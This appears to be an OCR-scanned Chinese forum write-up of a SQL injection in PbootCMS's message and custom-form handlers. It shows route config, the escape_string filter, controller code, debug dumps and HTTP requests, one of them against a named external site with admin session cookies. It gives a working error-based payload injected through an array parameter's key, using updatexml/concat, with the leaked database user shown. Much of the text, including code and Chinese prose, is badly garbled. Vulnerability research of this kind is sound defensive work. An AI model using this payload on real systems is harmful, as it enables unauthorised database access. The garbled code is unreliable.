PbootCMSHEiT [i@

WS HZ

thtian #1 20205204 829H 02:44

IS BTXAARRBEET, SENERERE T, #RE—HETF.

0x01 NESEF

ZF|— P emsE—HERISEEEINdexFiHAE T, XX N emsBISREZRE N TR, BRSO3,

Eid]

~ I pboot 1 <?php

vvvv
=
pid
&
&
a b

return array(

Y 7#ID, /i

¥ID, [l %

LIy .:-jw

htt,c

ht

home it 5 L
v I config 7 ‘url_route’ => array(
e config.php 8
e database php g /R ITE AR P, contact %745 6 H E i, 2
[Chroutephy | semz 10 //"home/11" => *home /about/index/scode/ 11", /14
[ v Bcore  lemp LER 11 //'home/contact' => 'home/about/index/scode/contact’,
> Wbasic 12 //'home/contact’ => 'home/about/index/scode/11', ///F 4§ & ji i iis
> cache
> B database [(RrAREE A RIbELS T A R AAE (5 SRR N TR |
> extend 15 //'home/2' => 'home/list/index/scode/2", // /] }i (4 #F & ]
> function 16 //'home/news' => 'home/list/index/scode/news’, //
> log 17 //'home/news' => "'home/list/index/scode/2", // /I }7 %
> Batemplate 18
> Waview 19 LT P, test MU 6 FTAE X5 7 [ ] BLIEHT Y
= cacert.pem 20 /7 hume/ﬁ => home/content/mdex/:d/S /77 ] <
s code.php 21 //'home/test’ => 'home/content/index/id/test", // /FJ7 (5 i# &5 /7 55 i 30 #
s Convention.php 22 //'home/test' => 'home/content/index/id/8', //7Fii 5t &7
she iNiT.php 3
s qreode.php 24
o sTart.php 5 | 4
> data
> doc
> [mrewrite
> runtime

1220%x872 290 KB

0x02 EﬁEEIT:':':\’.

XBEREEN—&, MEEIHAurEEETRIHASE, FHASEALE,

BRI R TS IRER AT A,


https://forum.90sec.com/t/topic/989
https://forum.90sec.com/c/account
https://forum.90sec.com/u/thtian
https://forum.90sec.com/uploads/default/original/2X/c/c03c53e0b5e8929286a0308673e10799b2ea0038.png

€ Project Files ~ @ =  #- I°| &scommon\routephp | € AboutConiroller.php € ParserModel.php € IndexConiroller.php

v [ pboot 1 <?php
v [apps 2 return array(
> admin 3 // URLHAFESHT, 40: // 'home/index' => 'home/index/index’
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‘admin/Area’ => 'admin/system_Area',
‘admin/Menu’ => "admin/system_.Menu',
‘admin/Role’ => 'admin/system.Role’,
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array (size=0)
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D:\WW\pboot\apps\home\controller\MessageController
array (size=2)
"a => string 5 fd (Jength=5)
b =>
array (size=I)
"fad/fad\[ = string ' ;aaa aa”"O/\71
(1ength=16)
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array (size=i)
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@param string $name
i SRR
* @param mixed $type
3 i EilE i
* @param string $require
S A, Ntruett, WAL R B
@param string $vartext
* A L AR A
* @param string $default
* rd | A R e
* @return mixed
'.‘:/
function get($name, $type = null, Srequire = false, $vartext = null, $default =
null)
{
$condition = array(
'd_source' => 'get',
'd_type' => $type,
'd_require' => S$require,
$name => $vartext,
'd_default' => $default

);

return filter($name, $condition);

IR filterpRZy :

return escape_string($data);

BIEAZ Y, BREHAKRKRIER, ERE return escape_string($data);

function escape_string($string, $dropStr = true) {
if (! $string)
return $string;
if (is_array($string)) {
// B AL
foreach ($string as $key => $value) {
$string[$key] = escape_string($value);
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}
} elseif (is_object($string)) {
/] X RAL B
foreach ($string as $key => $value) {
$string->$key = escape_string($value);

}
} else {
/] TR AL

if ($dropStr) {
$string = preg_replace('/(0x7e)|(0x27)|(0x22) | (updatexml) |

(extractvalue)|(name_const)|(concat)/i', '', $string);

}
$string = htmlspecialchars(trim($string), ENT_QUOTES, 'UTF-8'");
$string = addslashes($string);

}

return $string;
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ERSRERRH:

OST Ipboot/index. php/Message/add HTTP/1.1
rrrrr

ation/x-www-form-urlencoded

3y
/5.0 (Windows NT \BD NNSA ¥64) AppleWebki IFJ/ 36 (KHTML, like Gecko) Chrome/80.0 3987 163 Safari/S37 36
1.g=0.9, *Fg=08 i d-exchange,v=b3,q=0.9
thialﬂutilj
3l xDEBUG SESSION=PHPSTOR E: cgfqk98heg n2; UM _« 718343467 760-067 b7 affd d29cf-531 36414400017 183434671994;
kEbSQSI Af0243d94158e2427 ad 1 2=50704ffab537611d384395a236462207,

al
CNZZDATA127797 2876=67603127
EM_AUTHCOOKIE, DMSJkHbuNZPMTMmcyeHGNSJ 5gi=admin%7 C %7

Connection: closa

contacts=1&mobile=2&content=3&checkcode=5551
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public function add() {
if ($_POST) {

if (time() - session('lastsub') < 10) {
alert_back("fEIRZKIE 17, EMEHK! ");

}

// 5k A 55k

$checkcode = post('checkcode');

if ($this->config('message_check_code')) {
if (! $checkcode) {

alert_back('IIFRIARE N ');

}

if ($checkcode != session('checkcode')) {
alert_back('JiERS R );

}

}

/] FET B

if (! $form = $this->model->getFormField(1)) {
alert_back('¥H & RHEANFAALMFE, B EERK! );

}

var_dump($form);

/]

FaddHEFBERANE, EHSform=ER:



DWW\ pboot\appsthomelcontroller\MessageController. php :58:
array (size=5)

0=
object(stdliass) []
public  table name’ = string ay message (Jength=I10)
public 'name’ = string contacts (Jength=8)
public 'required = string 1 (Zength=I)
public 'description’ = string BEFR A (Tength=9)
1=
object(stadliass) [ 4]
public ' table_name’ = string ay _messagze (Jength=10)
public 'name’ = string mobile’ (7ength=5)
public 'required = string 1 (Tength=I1)
public ' description’ = string  FH (Tength=6)
2 -
object(stdllass) [10]
public ' table_name’ = string ay message (Jength=10)
public 'name’ = string content’ (Jength=7)
public 'required = string 1 (Jangth=I)
public 'description’ = string DA (Tength=6)
$mail_body = '';

foreach ($form as $value) {

$field data = post($value->name);

if (is_array($field_data)) {
/] BRI 2 A A LI e
$field data = implode(',', $field_data);

}

if ($value->required && ! $field data) {
alert_back($value->description . '"REEAT! ');

} else {
$data[$value->name] = post($value->name);
$mail body .= $value->description . ': '
>name) . '<br>';

. post($value-

}
}
/] WA AN
if ($data) {
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$data[ 'acode'] = session('lg');

$data[ 'user_ip'] ip2long(get_user_ip());
$data[ 'user_os'] get _user_os();

$data[ 'user_bs'] = get_user_bs();

$data[ 'recontent’'] = '';

$data[ 'status'] = 0;
$data[ 'create_user']
$data[ 'update_user']

'guest’;
‘guest’;

}
var_dump($data);

EH$data=RES



D:\WWW\pboot\apps\home\controller\MessageController. php :58:
array (size=3)

0 =
object (stdliass) [&]
public ' table_name’ = string  ay_messaze’ (Tength=10)
public 'name’ =) string contacts (Fangth=8)
pubiic 'required =) string ‘1 (Tength=1)
public 'description’ = string FEFRA’ (Tength=9)
1 =
object (stadlfass) [4]
public table_name’ = string  ay_messaze (Tength=10)
public 'name’ = string mobile (Tength=6)
pubiic 'required =) string ‘1 (Tength=1)
public 'description’ = string FH  (Tength=5)
2 =
object(stallass) [ 14]
public ' table_name’ =) string ayv_messaze (Tength=10)

public 'name’ => string content’ (Jamgth=7)
pubiic 'required = string ' 1 (Jength=I)
public 'description’ = string  NE (Tength=6)

DWWy pboothapps\homebcontroller \MessageController. php :87:
array (size=11)

"contacts’ = string 4 (Jength=I)
"mobile’ = string 5 (Janmgth=1)
"eontent’ = string 6 (Fangth=1)

“acode’ = string on’  (Tength=2)
"user_ip’ => int 2130706433

"user_os = string Vindows 10" (Jemgth=10)
"user_bs’ = string Chrome’ (7ength=6)
"recontent’ = string = (Jength=0)
"status’ = int 0

"create_user’ = string guest’ (Jength=5)
"update_user’ = string guest’ (Jength=5)

SNERMISENE (TEkeySbEnFH)

post:

contacts[content™, create_time", update_time ) VALUES ('1', '1' ,1 and
updatexml(1,concat(®x3a,user()),1) );-- a] = 1111

content = 1111

mobile = 1111
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D AW pboot\appsh troller voller. php:58:
array (size=3)

object (stdllass) [8
public’table_name’ = string 'ay_message’ (Jength=i0)
public 'name’ =) string 'contacts (langth=4,
public 'required = string '1' (Tength=I)
public ' description’ => string 'EERA’ (length=9)

1

object (stdtlass) [4]
public’table_name’ = string 'ay_message’ (length=i0)
public 'name’ = string ‘mobile’ (ength=f)
public 'required =) string "1 (Jength=i)
public ' description’ = string 'FH (Tensth=s)

object (stdClass) [16]

public’table_name’ =) string 'ay_message’ (length=i0)
public "name’ = string content’ (Tangth=r)

public 'required = string ‘1 (Tength=i)
public’description’ = string 'FIE  (Tensth=6)

DWW pboot\ appshome \ controllex MessageControl lex. php:BT:
array (size=1I1)

‘ cantacts’ =

array (size=l)
'content’, create_time , update_time ) VALUES ("1', '1' ,1 and updatexml(l, concat(0x3a,user()), 1) );== a' = string '1111' (lemsth=4)

" mobile' string 'S (Tength=l)

content’ =» string ‘6 (Jength=l)

"acode’ = string ‘en’ (Tength=z)

‘user_ip’ = int 2120706423

" user_os’ string ' Windows 10" (Tangth=10)

‘user_bs =) string Chrome’ (Tength=6)

‘recontent’ = string '’ (Jength=0)
‘status’ = dint 0
'create_user’ = string guest’ (length=5)

‘update_user’ = string 'guest’ (Tength=s)

if ($this->model->addMessage($data)) {

session('lastsub', time());

// 8RS B A I ]

$this->log("H FIRAZMII! ');

if ($this->config('message _send mail') && $this-

>config('message _send to')) {
$mail subject = " [PbootCMS]) &4 ¥ L HEE, HiEm
$mail_body .= '<br>RKHEHM¥E' . get_http_url() . ' ('
date('Y-m-d H:i:s"') . ') ';

)

sendmail($this->config(), $this->config('message_send_to'),

$mail subject, $mail body);

¥

alert_location('#&2ZHZh! ', '-1');
} else {

$this->log(' A F IR KR! ");

alert_back("#&Z KM ");
}
} else {
error("fRA KM, TEMMAHPOST IR ! ');
}
}
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/] WS
public function addMessage($data) {
return parent::table('ay message')->autoTime()->insert($data);

}

PUTSQLESEEIR! $#4i8: XPATH syntax error: “root@localhost’, i&6): INSERT INTO ay_message

(‘content’, create_time’,'update_time’) VALUES ('1','1",1 and updatexml(1,concat(0x3a,user()),1) );--
a’create_time’, 'update_time’) SELECT '1111','2020-04-17 21:17:23','2020-04-17 21:17:23' UNION All SELECT
'2020-04-17 21:17:23','2020-04-17 21:17:23' UNION All SELECT '2020-04-17 21:17:23','2020-04-17 21:17:23'
UNION All SELECT '2020-04-17 21:17:23','2020-04-17 21:17:23' UNION All SELECT '2020-04-17 21:17:23','2020-04-
17 21:17:23' UNION All SELECT '2020-04-17 21:17:23''2020-04-17 21:17:23' UNION All SELECT '2020-04-17
21:17:23','2020-04-17 21:17:23' UNION All SELECT '2020-04-17 21:17:23','2020-04-17 21:17:23' UNION All SELECT
'2020-04-17 21:17:23','2020-04-17 21:17:23' UNION All SELECT '2020-04-17 21:17:23','2020-04-17 21:17:23'
UNION All SELECT '2020-04-17 21:17:23','2020-04-17 21:17:23"

0x05 FIEEAN
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POST /pboot/index. php/Form/add/code/2 HTTP/1.1

Host: www.imtfire.com

Content-Length: &

Cache-Control: max-age=0

Origin: http://www.imtfire.com

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36

Acespt: text/html,appli html+xml,appli ¥l g=0.9, bp, png */*q=08, ion/signsd-exchange:v=b3:¢=0.9

Refersr. http:/fwww.imtfire. com/pboot/

Accept-Language: zh-CN,zh;q=0.9,2n-US;¢=0.8 en;q=0.7

Cookie: PhootSystem=uded57buSfulvbk sOnhbtdkb02; XDEBUG_SESSION=PHPSTORM; PHPSESSID: vjcgfgl p2; UM_distil 1718343467 e760-0b7b7
CNZZDATA1277972876=678031273-1587045157-null%7 C1587045157, EM_TOKENCOOKIE_2b3b596fc4f249d94158e2fA27 ad1 a=50704ffa65a7611d384 2952236462207 ;
EM_AUTHCOOKIE_04itSJklIbijNZPMTMmeyeHGAV5Jz5gi=admin%7 C%7 Cdb5ef25a2349ab023c df7 cf835d6 14d; Hm_Ivt_fB6f37dc3416ca514857h78d0b158037e=1587129707;
Hm_lpwt_fEf37 dc3416ca514857b78d0b158037e=1587129707

Connection: close

tel=13

ERANACED:
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$mail_body = $value->d-escr'ip?iom ;' post($value->name) . '<bm';
}
}

VRS-
if ($data) {
$data['create_time'] = get_datetime();

}

/1 GAL

if ($Th|s->made] >addFor‘m($vu|ue->1'nble name, $do‘m)){
session('lastsub’, time()); // il 4T A S 1

$this->log( confent: '{.éac&"i'ﬁtﬂéld:uj' ')
if ($this->config( item: 'message_send_mail') && $this->config( item: 'message_send_to')) {
$mail_subject = " [PbootCMS T %47 Fiin & T 2cdls, vk o ™
$mail_body = "<br3¥ [1 434" . get_http_url().' (' . date( format: 'Y-m-d H:izs'). ") ;
sendmail($ this->config(), $this->config( item: 'message_send_to'), $mail_subject, $mail_body);
}
alert_location( info: "85k ', wrl: "-1");
}else {
$this->log( content: "HLF & W BHE AW ')
alert_back( info: "fit W ')
}
}else {
error( string: "B M0, WEHENPOST il iEsc ! ')
}
}

et S5 EAMAIBA IR L —#F, Idkeydt{ THERIAT;

HUTSQLELEIRIR! $8I8: XPATH syntax error: “root@localhost’, i&#): INSERT INTO ay _diy_test (‘tel’) VALUES (1

and updatexml(1,concat(Ox3a,user()),1) );-- a) SELECT "1111" UNION All SELECT
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